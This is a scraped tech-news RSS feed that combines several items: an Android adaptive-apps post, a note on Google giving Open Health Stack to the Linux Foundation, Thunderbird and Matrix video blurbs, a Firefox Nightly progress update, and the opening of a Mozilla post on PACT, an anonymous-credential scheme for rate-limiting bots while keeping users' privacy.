  </div><div class="separator"><h2>Build intelligent features </h2><div class="separator"><a href="https://blog.google/products-and-platforms/platforms/android/gemini-intelligence/" target="_blank">Gemini intelligence </a>already completes tasks on users’ behalf, and you can <a href="https://developer.android.com/ai/appfunctions?_gl=1*1jms098*_up*MQ..*_ga*MjY0OTY0MDI3LjE3ODQzMzI1NDk.*_ga_6HH9YJMN9M*czE3ODQzMzI1NDkkbzEkZzAkdDE3ODQzMzI1NDkkajYwJGwwJGgxNjE0MTMzNjEz" target="_blank">experiment</a> with the intelligence system by sharing your apps capabilities. </div><div class="separator"><br></div><div class="separator">Samsung’s new foldable devices come with Gemini Nano 4, our latest on-device model. Nano 4 provides support for over 140 languages, better multimodal understanding, and <a href="https://developers.google.com/ml-kit/release-notes#july_14_2026" target="_blank">much more</a>. Use <a href="https://developers.google.com/ml-kit/genai/prompt/android" target="_blank">ML Kit’s Prompt API</a> with advanced features like s<a href="https://developers.google.com/ml-kit/genai/prompt/android/structured-output" target="_blank">tructured output</a> and <a href="https://developers.google.com/ml-kit/genai/prompt/android/thinking-mode" target="_blank">thinking mode</a> to build intelligent features on-device. </div><div class="separator"><h2>Start optimizing today</h2><div class="separator">The tools and frameworks are ready to help you optimize your app for all screen sizes. Begin by exploring our guidance for <a href="https://developer.android.com/develop/adaptive-apps" target="_blank">building adaptive apps </a>to learn more about core adaptive design principles. </div><div class="separator"><br></div><div class="separator">To dive deeper, check out our comprehensive <a href="https://www.youtube.com/playlist?list=PLD2U7gd1-ieo" target="_blank">YouTube playlist</a>. Finally, ensure your app delivers a flawless, premium experience on the newest form factors by reviewing our dedicated quality guidelines for <a href="https://developer.android.com/develop/adaptive-apps/guides/foldables/trifolds-and-landscape-foldables" target="_blank">trifolds and landscape foldables</a> and <a href="https://developer.android.com/design/ui/wear/guides/get-started?hl=en" target="_blank">WearOS</a>. </div><div class="separator"><br></div><div class="separator">Unfold the future today! </div></div></div></div></div></div>]]></content:encoded>
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<title><![CDATA[Google Hands Open Health Stack To the Linux Foundation]]></title>
<description><![CDATA[BrianFagioli writes: The Linux Foundation intends to launch the Open Health Stack Software Foundation, a new vendor-neutral home for the Google Open Health Stack project. Google is contributing the project code and assets while Google.org is providing a $3 million grant. The initiative is also ba...]]></description>
<link>https://tsecurity.de/de/3693457/linux-tipps/google-hands-open-health-stack-to-the-linux-foundation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693457/linux-tipps/google-hands-open-health-stack-to-the-linux-foundation/</guid>
<pubDate>Sat, 25 Jul 2026 10:12:42 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[BrianFagioli writes: The Linux Foundation intends to launch the Open Health Stack Software Foundation, a new vendor-neutral home for the Google Open Health Stack project. Google is contributing the project code and assets while Google.org is providing a $3 million grant. The initiative is also backed by Microsoft, Anthropic, and the World Health Organization, with the goal of building open source, AI-ready digital health infrastructure. Will moving the project under Linux Foundation governance accelerate adoption, or is this simply another foundation that most developers will never interact with? The new project will focus on core HL7 FHIR technologies for healthcare interoperability, the Open Health Stack Player deployment toolkit, and AI Commons -- a model-agnostic healthcare AI initiative being co-developed with the World Health Organization.
 
A notable part of the announcement is its planned Implementer Program, which aims to give startups, small businesses, and local developers in low- and middle-income countries a formal role in governance. In other words, the effort is not just about building healthcare software standards, but about making sure the people implementing them in underserved markets help shape the project too.<p></p><div class="share_submission">
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</div><p><a href="https://news.slashdot.org/story/26/07/09/1659227/google-hands-open-health-stack-to-the-linux-foundation?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Design System Governance Committee: January 26, 2026 Meeting]]></title>
<description><![CDATA[Author: Mozilla Thunderbird - Bewertung: 10x - Views:142 In their first meeting, the Design System Governance Committee, composed of MZLA employees and community members, first reviews the 2026 design roadmap. Then they take a deeper dive into tokens, their role in tying together Thunderbird's ma...]]></description>
<link>https://tsecurity.de/de/3693438/video/design-system-governance-committee-january-26-2026-meeting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693438/video/design-system-governance-committee-january-26-2026-meeting/</guid>
<pubDate>Sat, 25 Jul 2026 10:05:13 +0200</pubDate>
<category>🎥 Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Mozilla Thunderbird - Bewertung: 10x - Views:142 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/rAJrAmu-lqw?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>In their first meeting, the Design System Governance Committee, composed of MZLA employees and community members, first reviews the 2026 design roadmap. Then they take a deeper dive into tokens, their role in tying together Thunderbird&#039;s many platforms, W3 token standards, and how to document them. This work will make it easier for new design team members and contributors to jump into their work, while providing a more coherent experience from desktop to mobile and beyond.<br/></p>]]></content:encoded>
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<title><![CDATA[Matrix Live S12E13 – A Federated Data Marketplace]]></title>
<description><![CDATA[Author: Matrixdotorg - Bewertung: 14x - Views:370 Liberbyte is building a federated data platform over Matrix.

🌐 https://www.liberbyte.com

This Week in Matrix: https://matrix.org/twim

Find Matrix.org on the internet:
🐘 https://mastodon.matrix.org/@matrix
🤝 https://www.linkedin.com/company/matr...]]></description>
<link>https://tsecurity.de/de/3693332/videos/matrix-live-s12e13-a-federated-data-marketplace/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693332/videos/matrix-live-s12e13-a-federated-data-marketplace/</guid>
<pubDate>Sat, 25 Jul 2026 08:42:10 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Matrixdotorg - Bewertung: 14x - Views:370 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/szCfpnMKdow?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Liberbyte is building a federated data platform over Matrix.<br />
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<title><![CDATA[Firefox Nightly: More Kit, More Control – These Weeks in Firefox: Issue 203]]></title>
<description><![CDATA[Highlights

James enabled adaptive autofill in Nightly for testing, which we believe should provide better results in the URL bar when doing autocomplete!
Jack updated the illustrations shown on some of our error pages to match the latest approved designs, giving users more polished artwork when ...]]></description>
<link>https://tsecurity.de/de/3693294/tools/firefox-nightly-more-kit-more-control-these-weeks-in-firefox-issue-203/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693294/tools/firefox-nightly-more-kit-more-control-these-weeks-in-firefox-issue-203/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:32 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>James <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032547">enabled adaptive autofill in Nightly</a> for testing, which we believe should provide better results in the URL bar when doing autocomplete!</li>
<li>Jack <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031837">updated the illustrations shown on some of our error pages</a> to match the latest approved designs, giving users more polished artwork when the browser encounters connection or security errors!</li>
</ul>
<p><img alt="Internet connection error page with an adorable Kit illustration" class="aligncenter wp-image-2080 size-full" height="652" src="https://blog.nightly.mozilla.org/files/2026/06/image2-1.png" width="1584"></p>
<ul>
<li>Controls for the Memories feature <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032998">can now be set during Smart Window onboarding</a></li>
</ul>
<p><img alt='Two radio button controls for the Smart Window Memories feature, including "Chats in Smart Window" and "Browsing across Firefox"' class="aligncenter wp-image-2078 size-full" height="546" src="https://blog.nightly.mozilla.org/files/2026/06/image4-1-e1780509799577.png" width="500"></p>
<p> </p>
<ul>
<li>We’ve disabled the CSS filter implicitly applied to WebExtension pageAction SVG icons across all release channels starting in Firefox 152, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016509">completing the deprecation</a>
<ul>
<li><b>NOTE:</b> The blog post published at<a href="https://blog.mozilla.org/addons/2026/04/23/webextensions-api-changes-firefox-149-152/"> WebExtensions API changes in Firefox 149-152</a> provides to extensions developers more details about this deprecation and links to the related MDN docs.</li>
</ul>
</li>
</ul>
<h3>Friends of the Firefox team</h3>
<h4><a href="https://bugzilla.mozilla.org/buglist.cgi?title=Resolved%20bugs%20(excluding%20employees)&amp;quicksearch=2031599%2C2033820%2C2034178%2C1930213%2C2035355%2C1611643%2C2020302%2C2026007%2C2031015%2C2035252%2C2036528%2C411384%2C2033780%2C2036199%2C1812100%2C1898257%2C2030070%2C2030072">Resolved bugs (excluding employees)</a></h4>
<p><a href="https://github.com/niklasbaumgardner/NewContributorScraper">Script to find new contributors from bug list</a></p>
<h4>Volunteers that fixed more than one bug</h4>
<ul>
<li>Amin Amir</li>
<li>Pranjali Srivastava</li>
<li>Sam Johnson</li>
</ul>
<h4>New contributors (🌟 = first patch)</h4>
<ul>
<li> 🌟:23rd: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1812100">Regression: The new swipe-to-navigation indicator stucks for a moment, when deciding not to navigate the other page</a></li>
<li>🌟Akeem Omosanya: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035252">Remove commented-out code in SearchService.sys.mjs</a></li>
<li>Amin Amir:
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031599">Fix browsingContext.sys.mjs to assign to #contextCreatedHandled instead of contextCreatedHandled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033820">Fix missing WITHOUT ROWID SQLite performance optimization in SERPCategorization.sys.mjs</a></li>
</ul>
</li>
<li>🌟Sahaj: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031015">Suggest the default target language for translation after changing the detected source language</a></li>
<li>🌟JIANG Zhirui: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036199">Breakpad build failed on Windows using VS2026 due to removal of stdext</a></li>
<li> John Iweh: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030072">Add “Open in New Tab” and “Open in New Container Tab” options to the context menu for Tabs from Other Devices</a></li>
<li>Jak: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030070">Bookmarks and History – should respect the “When you open a link, image or media in a new tab, switch to it immediately” setting</a></li>
<li>🌟Andy [:rgbcmy]: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1611643">Autoplayed next video should also be PIP</a></li>
<li> konyhéa: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1930213">“Escape” key should collapse the expanded on hover sidebar launcher even if hover is still active.</a></li>
<li> Pranjali Srivastava:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1898257">Remove icon property from sidebar extensions</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026007">Show language-agnostic SelectTranslations context menu item when the source and target languages are the same</a></li>
</ul>
</li>
</ul>
<h3>Project Updates</h3>
<h4>Add-ons / Web Extensions</h4>
<h5>Addon Manager &amp; about:addons</h5>
<ul>
<li>Fixed long-standing regression on the autocomplete and datalist popups for extension inline options pages on about:addons (introduced in Firefox 68 by<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1532724"> Bug 1532724</a>, fix shipping in Firefox 152) –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1595158"> Bug 1595158</a></li>
</ul>
<h5>WebExtensions Framework</h5>
<ul>
<li>Fixed access to web-accessible resources declared with &lt;all_urls&gt; from sandboxed documents (null-principal URLs), restoring extension redirects from the context-menu search flow, starting in Firefox 152 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033905"> Bug 2033905</a></li>
</ul>
<h5>WebExtension APIs</h5>
<ul>
<li>Added exhaustive test coverage for tabs.move() against additional edge cases related to split-view tabs –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029092"> Bug 2029092</a></li>
</ul>
<h4>DevTools</h4>
<ul>
<li>Andreas Farre improved the Session History tab in the Application panel (still behind devtools.application.sessionHistory.enabled)
<ul>
<li>added support for remote debugging (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2014064">#2014064</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016121">#2016121</a>)</li>
<li>made sure that calls to History.replaceState are reflected in the UI (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037359">#2037359</a>)</li>
</ul>
</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=559949">Julian Descottes [:jdescottes]</a> fixed the most frequent DevTools crash we were observing in Telemetry, adding a guard against IDBTransaction errors when retrieving breakpoints in the Debugger (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030260">#2030260</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> fixed the image preview tooltip for relative URLs images in constructed stylesheet (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035503">#2035503</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=559949">Julian Descottes [:jdescottes]</a> reduced the overhead we had because of network requests monitoring by only decoding response content when the user actually want to see the response (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026228">#2026228</a>)</li>
</ul>
<h4>WebDriver</h4>
<ul>
<li>Amin Amir cleaned up an <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031599">incorrect variable assignment</a> in our browsingContext module.</li>
<li>Logan Rosen <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036603">updated stale references and broken links</a> in our documentation about Marionette.</li>
<li>Sameem improved the Marionette and WebDriver BiDi <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2020302">screenshot commands to enforce maximum allowed dimensions</a>.</li>
<li>Leo McArdle fixed <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030964">the regression in the “log.entryAdded” event, which lacked an error message in the “text” field for the messages of type “error”</a>.</li>
<li>Henrik Skupin fixed an issue in Marionette where <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033769">WebDriver:Navigate and WebDriver:Refresh did not handle errors</a> when the underlying navigation failed.</li>
<li>Henrik Skupin <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1839953">improved geckodriver to detect an early Firefox exit during startup on Android</a>, avoiding up to 60 seconds of unnecessary connection attempts.</li>
<li>Henrik Skupin updated the <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028933">geckodriver CI build job to produce a universal macOS binary</a> supporting both x64 and aarch64.</li>
</ul>
<h4>Lint, Docs and Workflow</h4>
<ul>
<li>Sylvestre <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023411">ported some linters</a> (e.g. file-whitespace, test-manifest-toml, license, file-perm, rejected-words &amp; more) to Rust to help improve the runtime of the code review bot.</li>
<li>Dale has been working on migration to moz-src for <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034040">customkeys</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035086">dom/quota</a> and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035295">odom/geolocation</a>
<ul>
<li><a href="https://arewemozsrcyet.com/">https://arewemozsrcyet.com/</a></li>
</ul>
</li>
</ul>
<h4>New Tab Page</h4>
<ul>
<li>We did our first region-specific trainhop on May 11th (just 15% of the US), and turned on HNT Nova (and sometimes Widgets) for those clients to get some advance-data of its behaviour in the wild! A note that HNT Nova gets turned on for everybody when Firefox 151 ships on May 19th.
<ul>
<li>We’ll be launching a similar experiment in the DE, probably on May 12th, also at 15% population.</li>
</ul>
</li>
<li>Most of the team is heads down building out a sports-tracking widget, attempting to get that ready in time to be generally available for the upcoming World Cup event.</li>
<li>Dre landed a new world clock widget, which is currently off by default, but pretty snazzy!</li>
</ul>
<p><img alt="World clock widget in New Tab featuring different time zones for YTO, BER, SYD, and LAX." class="aligncenter wp-image-2079 size-full" height="162" src="https://blog.nightly.mozilla.org/files/2026/06/image3-1.png" width="346"></p>
<h4>Search and Urlbar</h4>
<ul>
<li>Nova (URL Bar Design Refresh)
<ul>
<li>Drew and Daisuke continued their work on <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015612">Nova styling for the Address bar</a> (input and view).</li>
</ul>
</li>
<li>Search and Suggest
<ul>
<li>Drew finalized two bugs for World Cup and sports suggestions, which were landed and uplifted: one to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035322">update the localization string for scheduled games</a> and another to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034350">show both teams’ icons in suggestions</a>. Drew also landed and uplifted a fix for <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035353">rich search suggestion icons being forced into a square aspect ratio</a>.</li>
<li>Standard8 updated Ecosia favicons to the latest branding, including QA testing and publishing.</li>
</ul>
</li>
<li>Settings Redesign (SRD)
<ul>
<li>Stephanie landed a test to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021512">ensure search suggestion settings are hidden when quicksuggest is disabled</a>, as well as a patch to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031341">resolve TypeScript issues</a> in search.mjs, and is adding test coverage to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2007397">confirm removed search engines are not displayed in the default engines dropdown</a>.</li>
</ul>
</li>
<li>General URL Bar and Component Updates
<ul>
<li>Daisuke landed implementation of the <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1893083">context menu on URL bar results</a>, and a fix to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2020177">show the loading URL in the URL bar when starting up with a homepage</a>.
<ul>
<li>Marco is working on several tasks, including a <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1756564">PDF download / focus stealing issue</a> and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1924124">allowing arrays to be bound in Sqlite.sys.mjs</a>. Marco also worked on fixes related to Places, such as <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034743">avoiding replacing the favicons database if it is not corrupt</a>.</li>
</ul>
</li>
<li>Standard8 finalized the <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028423">URL bar test manifest split</a>. Standard8 also <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016401">upgraded us to TypeScript 6</a>.</li>
<li>Moritz landed a fix for URL bar abandonment telemetry being recorded when clicking an engine in the unified search button popup (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032973">Bug 2032973</a>), which was also uplifted. Moritz also <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034507">simplified search mode switcher item activation in tests</a>, and made it so that <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036030">the unified search button popup closes when installing an open search engine</a>.</li>
</ul>
</li>
</ul>
<h4>Smart Window</h4>
<ul>
<li>natural language starting with tab close/undo <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035343">2035343</a> with expandable action log <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031508">2031508</a></li>
</ul>
<p><img alt="Tab close and undo actions in Smart Window accompanied by an expandable log of actions taken" class="aligncenter wp-image-2077 size-full" height="256" src="https://blog.nightly.mozilla.org/files/2026/06/image1-1.png" width="220"></p>
<ul>
<li>assistant rendering feedback up/down <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032994">2032994</a> and markdown table <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027029">2027029</a></li>
<li>nova styling blur <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027877">2027877</a> and suggestions <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026823">2026823</a></li>
<li>accessibility screen reader <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028676">2028676</a> and keyboard focus <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037565">2037565</a></li>
<li>optimize conversation starters extra requests <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030005">2030005</a> and caching <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033430">2033430</a></li>
</ul>
<h4>Storybook/Reusable Components/Acorn Design System</h4>
<ul>
<li>Nova token updates occasionally, focused on SRD</li>
</ul>
<h4>UX Fundamentals</h4>
<ul>
<li>Added support for the “SEC_ERROR_CA_CERT_INVALID” certificate error to the Felt Privacy error pages. – <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035942">2035942</a></li>
</ul>
<h4>Settings Redesign</h4>
<ul>
<li>Settings redesign is being tested and will hopefully go out in Firefox 152!</li>
</ul>
<ul>
<li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hacks.Mozilla.Org: PACT: Anonymous Credentials for the Web]]></title>
<description><![CDATA[This is the technical companion to our update on Distilled, “Keeping the web open and private in the bot era.” Here we take a deeper look at the problem space, the design we’re proposing, and the problems still left to solve. 
Bots (and privacy-preserving browsers) not welcome 
Browse a news site...]]></description>
<link>https://tsecurity.de/de/3693291/tools/hacksmozillaorg-pact-anonymous-credentials-for-the-web/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693291/tools/hacksmozillaorg-pact-anonymous-credentials-for-the-web/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:27 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="c43"><em><span class="c11 c1">This is the technical companion to our update on Distilled, </span><span class="c11 c1 c17"><a class="c5" href="https://blog.mozilla.org/en/privacy-security/keeping-the-web-open-and-private-in-the-bot-era/">“Keeping the web open and private in the bot era.”</a></span><span class="c11 c1"> Here we take a deeper look at the problem space, the design we’re proposing, and the problems still left to </span><span class="c1 c11">solve</span></em><span class="c13 c11 c1"><em>.</em> </span></p>
<h3 class="c24"><span class="c2 c1">Bots (and privacy-preserving browsers) not welcome </span></h3>
<p class="c40"><span class="c0">Browse a news site in a private window. Shop at a major retailer with a VPN. Visit a video streaming platform with anti-fingerprinting defenses tuned up. You’ll see the same responses: registration walls, block pages, and endless CAPTCHAs. The message is clear: </span><span class="c13 c11 c1">if we think you might be a bot, you’re not welcome</span><span class="c0">. </span></p>
<p class="c53"><span class="c0">Websites have valid reasons for wanting to block bots. Bots enable volumetric abuse</span><span class="c1">, abuse that wouldn’t otherwise be feasible if they had to be carried out by humans</span><span class="c0">. </span><span class="c0"> For example</span><span class="c1">: SEO comment spam, credential stuffing and DDoSing</span><span class="c0">.</span><span class="c0"> Consequently many sites employ dedicated anti-abuse tooling which aims to keep the bots out whilst minimizing friction for human visitors. </span></p>
<p class="c21"><span class="c0">Unfortunately, that tooling is increasingly failing at both tasks. Browser privacy protections are </span><span class="c3 c1"><a class="c5" href="https://blog.mozilla.org/en/firefox/fingerprinting-protections/">dismantling</a></span><span class="c0"> the passive signals that anti-abuse systems depended on to identify and distinguish </span><span class="c0">visitors</span><span class="c0">. Meanwhile advances in generative AI have rendered CAPTCHAs ineffective: bots now solve them </span><span class="c3 c1"><a class="c5" href="https://www.usenix.org/system/files/usenixsecurity23-searles.pdf">faster and more reliably</a></span><span class="c0"> than </span><span class="c0">humans</span><span class="c0">. </span></p>
<p class="c33"><span class="c0">Many sites are switching to more invasive mechanisms and now ask visitors to disclose </span><span class="c1">identifying information</span><span class="c0">,</span><span class="c0"> e.g. an email address, a federated login or </span><span class="c1">disabling their VPN</span><span class="c0">. This means greater friction for users, since providing these details on a first visit takes time. It also compromises their privacy, since these details enable the same kinds of cross-site tracking that browser privacy protections were intended to mitigate. </span></p>
<p class="c38"><span class="c0">This </span><span class="c1">leaves</span><span class="c0"> users </span><span class="c1">with a</span><span class="c0"> dilemma. The more effectively they protect their privacy, the harder it is for websites to distinguish them from bots and the worse the treatment they receive. Website operators are also suffering. The additional friction they inflict upon well-behaved visitors harms their site, but many are willing to pay the costs if it mitigates volumetric abuse. </span></p>
<p class="c44"><span class="c1">Browser-based AI agents make this tension more acute. Sites may want to allow agents which are acting on behalf of individual users while blocking agents engaged in volumetric abuse. However, with no effective mechanisms to distinguish the two, websites are opting to block </span><span class="c17 c1"><a class="c5" href="https://dl.acm.org/doi/epdf/10.1145/3730567.3732913">both</a></span><span class="c0">. That hurts users, who should be free to choose the user agent they use to access the web; it hurts new browsers and agents, which struggle to interoperate; and it hurts sites, which lose legitimate visitors.</span></p>
<p class="c30"><span class="c0">The consequence is that the web gets worse for everyone. Users get more friction or less privacy or both. Website operators see more volumetric abuse and the friction they add drives away users </span><span class="c1">who</span><span class="c0"> would otherwise want to consume their content or services. New user</span><span class="c1"> </span><span class="c0">agents struggle to access the same content as conventional browsers. </span></p>
<h3 class="c12"><span class="c20 c1">The</span><span class="c20 c1"> Costs of </span><span class="c2 c1">Convenient</span><span class="c2 c1"> Solutions</span></h3>
<p class="c9"><span class="c0">Some large ecosystem players have put forward solutions that leverage their control of the dominant operating systems and their deep integration with consumer hardware. These rely on device attestation: identifiers and privileged code baked into devices at the hardware level, which let manufacturers prove what software is running on a user’s device. Exposing this functionality to the web means attesting to sites that the user is running approved software with trusted hardware and therefore isn’t a bot. There have been two substantive proposals.</span></p>
<p class="c9"><span class="c0">Google’s Web Environment Integrity, <a href="https://www.theregister.com/software/2023/11/02/google-abandons-web-environment-integrity-api-proposal/335969">abandoned in 2023</a>, was the blunt version. It attested to the user agent itself, as well as the operating system and device in use. Users would have lost control in two ways: once to the attester, which would decide which operating systems and devices could be blessed, and again to the website, which would decide which software to accept. If sites had adopted allow-lists of approved user agents, building a new browser would have become virtually impossible, and sites could have withdrawn access from any user agent they chose.</span></p>
<p class="c9"><span class="c0">Apple’s Private Access Tokens, <a href="https://developer.apple.com/news/?id=huqjyh7k">deployed</a> across their ecosystem in 2022, have more subtle issues. Built on the Privacy Pass protocol standardized at the IETF, they get a lot right: a user receives a renewed, limited batch of one-time tokens that can be presented to websites without linking their visits together. This provides privacy for users and has shown rate limits to be an effective tool for sites – both points we’ll return to later in this post.</span></p>
<p class="c9"><span class="c1">However, Private Access Tokens rely on device attestation, requiring that the hardware manufacturer be in overall control of the user’s device. Presenting a PAT tells a website you are locked into Apple’s rules for what counts as acceptable software. </span><span class="c1">Due to PAT’s technical design</span><sup class="c1"><a href="https://hacks.mozilla.org/?p=48374#:~:text=PAT%20requires">[1]</a></sup><span class="c1">, there’s no way to open the system to other sources of scarcity without compromising the system’s privacy properties, meaning that if more widely deployed, access to the web would</span><span class="c1"> become tied to having bought expensive hardware from a small, hard to change set of vendors</span><span class="c1">. </span></p>
<p class="c9"><span class="c1">Both approaches are ultimately hostile to users and to the openness of the web. Both are premised on parts of a user’s device that sit within the manufacturer’s control and beyond the user’s own. Were they widely deployed, the web would become just another walled garden with centralized gatekeepers controlling acceptable hardware, operating systems and software. As convenient as these solutions are for the players who already dominate the ecosystem, we think there’s a better path.</span></p>
<h3 class="c24"><span class="c2 c1">A Better Path Forward </span></h3>
<p class="c24"><span class="c1">Bots’ harms arise from their ability to operate beyond human scale. For sites to prevent volumetric abuse they</span><span class="c0"> don’t actually need to know </span><span class="c1">the user’s</span><span class="c0"> identity or </span><span class="c1">receive cryptographic</span><span class="c0"> proof that they’re running approved softwar</span><span class="c1">e. If sites knew their visitors were restricted to a rate </span><span class="c1">limit</span><span class="c1"> set by a site, that would be enough.  </span></p>
<p class="c34"><span class="c1">Rate limits</span><span class="c0"> only make sense if </span><span class="c1">they’re</span><span class="c0"> </span><span class="c1">tied to</span><span class="c0"> something scarce; something an attacker can’t cheaply replicate to evade the limit. </span><span class="c0">Without anchoring to a scarce resource, like the trusted hardware used in Private Access Tokens, attackers can generate as many fresh identities as they need to bypass the rate limit. </span></p>
<p class="c56"><span class="c1">However, </span><span class="c0">hardware is just one option for </span><span class="c1">scarcity</span><span class="c0">. Anything a user already has that an attacker can’t trivially spin up at scale will work</span><span class="c1">: e</span><span class="c0">mail addresses and phone numbers are naturally scarce</span><span class="c1">. A paid subscription costs an attacker the same as a real user.  </span><span class="c0">Even maintaining an account on a free service requires </span><span class="c1">some</span><span class="c0"> non-trivial work. </span></p>
<p class="c39"><span class="c0">What if we could use these scarce signals across the web? We</span><span class="c1"> could build </span><span class="c0">an open ecosystem with many parties offering scarcity signals, each site choosing which to accept. By </span><span class="c0">opening up who can provide a signal, and letting sites choose which to accept, we can avoid transferring control to device manufacturers and the resulting harms. </span></p>
<p class="c39"><span class="c1">As a concrete example of who might be well positioned to provide such a signal, we can consider VPN providers acting as a subscription service. Sites routinely block VPN users indiscriminately, whether through a deliberate policy choice or through an indirect consequence of rate limiting visitors per IP address. But a VPN subscription is a perfect source of scarcity. If the VPN provider could vouch for its users so that sites could rate limit each user individually – then users would be able to browse the web with less friction and without giving up their VPN usage. </span></p>
<p class="c35"><span class="c0">The catch is that building </span><span class="c1">a system that can enable this</span><span class="c0"> on the open web whilst </span><span class="c1">maintaining user’s privacy</span><span class="c0"> is genuinely difficult. </span><span class="c1">It requires that we take information from one site — that this user holds some scarce thing — and expose it to other sites so that they can use that as the basis for their rate limiting. </span><span class="c0">Letting one site verify a signal from another is </span><span class="c1">the sort of </span><span class="c0">information flow</span><span class="c1"> </span><span class="c0">that privacy-pr</span><span class="c1">eserving </span><span class="c0">browsers have spent the last decade locking down to </span><span class="c1">prevent cross-site tracking</span><span class="c0">. </span></p>
<p class="c35"><span class="c1">Our goal would be that no more than the minimum information gets through: a single bit communicating whether the user is below the rate limit set by the site. Leaking anything more – like the source of the scarcity that the rate limit is anchored to – would be unacceptable. Enabling a new cross-site information flow might feel like compromising privacy to gain better access, but reality is more nuanced. If a new system moves sites away from demanding that visitors be identifiable (whether through fingerprinting or login forms), </span><span class="c1">it can be a win for both privacy and access.</span></p>
<h3 class="c24"><span class="c2 c1">The Foundations </span></h3>
